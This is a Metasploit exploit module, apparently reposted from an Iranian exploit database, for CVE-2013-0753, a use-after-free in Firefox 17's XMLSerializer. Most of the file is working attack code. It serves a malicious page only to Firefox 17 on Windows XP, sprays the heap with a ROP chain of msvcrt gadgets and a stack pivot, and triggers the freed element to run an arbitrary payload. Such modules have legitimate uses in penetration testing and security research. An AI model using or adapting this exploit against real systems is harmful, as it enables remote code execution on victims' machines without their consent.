###########################

# Firefox XMLSerializer Use After Free

###########################

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb

def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox XMLSerializer Use After Free',
'Description' => %q{
This module exploits a vulnerability found on Firefox 17.0 (< 17.0.2), specifically
an use after free of an Element object, when using the serializeToStream method
with a specially crafted OutputStream defining its own write function. This module
has been tested successfully with Firefox 17.0.1 ESR, 17.0.1 and 17.0 on Windows XP
SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'regenrecht', # Vulnerability Discovery, Analysis and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0753' ],
[ 'OSVDB', '89021'],
[ 'BID', '57209'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-006/' ],
[ 'URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-16.html' ],
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=814001' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependMigrate' => true
},
'Payload' =>
{
'BadChars' => "\x00",
'DisableNops' => true,
'Space' => 30000 # Indeed a sprayed chunk, just a high value where any payload fits
},
'Platform' => 'win',
'Targets' =>
[
[ 'Firefox 17 / Windows XP SP3',
{
'FakeObject' => 0x0c101008, # Pointer to the Sprayed Memory
'FakeVFTable' => 0x0c10100c, # Pointer to the Sprayed Memory
'RetGadget' => 0x77c3ee16, # ret from msvcrt
'PopRetGadget' => 0x77c50d13, # pop # ret from msvcrt
'StackPivot' => 0x77c15ed5, # xcht eax,esp # ret msvcrt
}
]
],
'DisclosureDate' => 'Jan 08 2013',
'DefaultTarget' => 0))

end

def stack_pivot
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
return pivot
end

def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
vprint_status("Agent: #{agent}")

if agent !~ /Windows NT 5\.1/
print_error("Windows XP not found, sending 404: #{agent}")
send_not_found(cli)
return
end

unless agent =~ /Firefox\/17/
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

# Fake object landed on 0x0c101008 if heap spray is working as expected
code = [
target['FakeVFTable'],
target['RetGadget'],
target['RetGadget'],
target['RetGadget'],
target['RetGadget'],
target['PopRetGadget'],
0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis
].pack("V*")
code << [target['RetGadget']].pack("V") * 183 # Because you get control with "call dword ptr
[eax+2F8h]", where eax => 0x0c10100c (fake vftable pointer)
code << [target['PopRetGadget']].pack("V") # pop # ret
code << [target['StackPivot']].pack("V") # stackpivot # xchg eax # esp # ret
code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, {'target'=>'xp'})

js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))
js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))
js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack("V"), Rex::Arch.endian(target.arch))

content = <<-HTML
<html>
<script>
var heap_chunks;

function heapSpray(shellcode, fillsled) {
var chunk_size, headersize, fillsled_len, code;
var i, codewithnum;
chunk_size = 0x40000;
headersize = 0x10;
fillsled_len = chunk_size - (headersize + shellcode.length);
while (fillsled.length <fillsled_len)
fillsled += fillsled;
fillsled = fillsled.substring(0, fillsled_len);
code = shellcode + fillsled;
heap_chunks = new Array();
for (i = 0; i<1000; i++)
{
codewithnum = "HERE" + code;
heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
}
}

function gen(len, pad) {
pad = unescape(pad);

while (pad.length < len/2)
pad += pad;

return pad.substring(0, len/2-1);
}

function run() {
var container = [];

var myshellcode = unescape("#{js_code}");
var myfillsled = unescape("#{js_random}");
heapSpray(myshellcode,myfillsled);

var fake =
"%u0000%u0000" +
"%u0000%u0000" +
"%u0000%u0000" +
"%u0000%u0000" +
"%u0000%u0000" +
"%u0000%u0000" +
"%u0000%u0000" +
"#{js_ptr}";

var small = gen(72, fake);

var text = 'x';
while (text.length <= 1024)
text += text;

var parent = document.createElement("parent");
var child = document.createElement("child");

parent.appendChild(child);
child.setAttribute("foo", text);

var s = new XMLSerializer();
var stream = {
write: function() {
parent.removeChild(child);
child = null;
for (i = 0; i < 2097152; ++i)
container.push(small.toLowerCase());
}
};

s.serializeToStream(parent, stream, "UTF-8");
}
</script>
<body onload="run();">
</body>
</html>
HTML

print_status("URI #{request.uri} requested...")
print_status("Sending HTML")
send_response(cli, content, {'Content-Type'=>'text/html'})

end

end

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2013-08-30]

###########################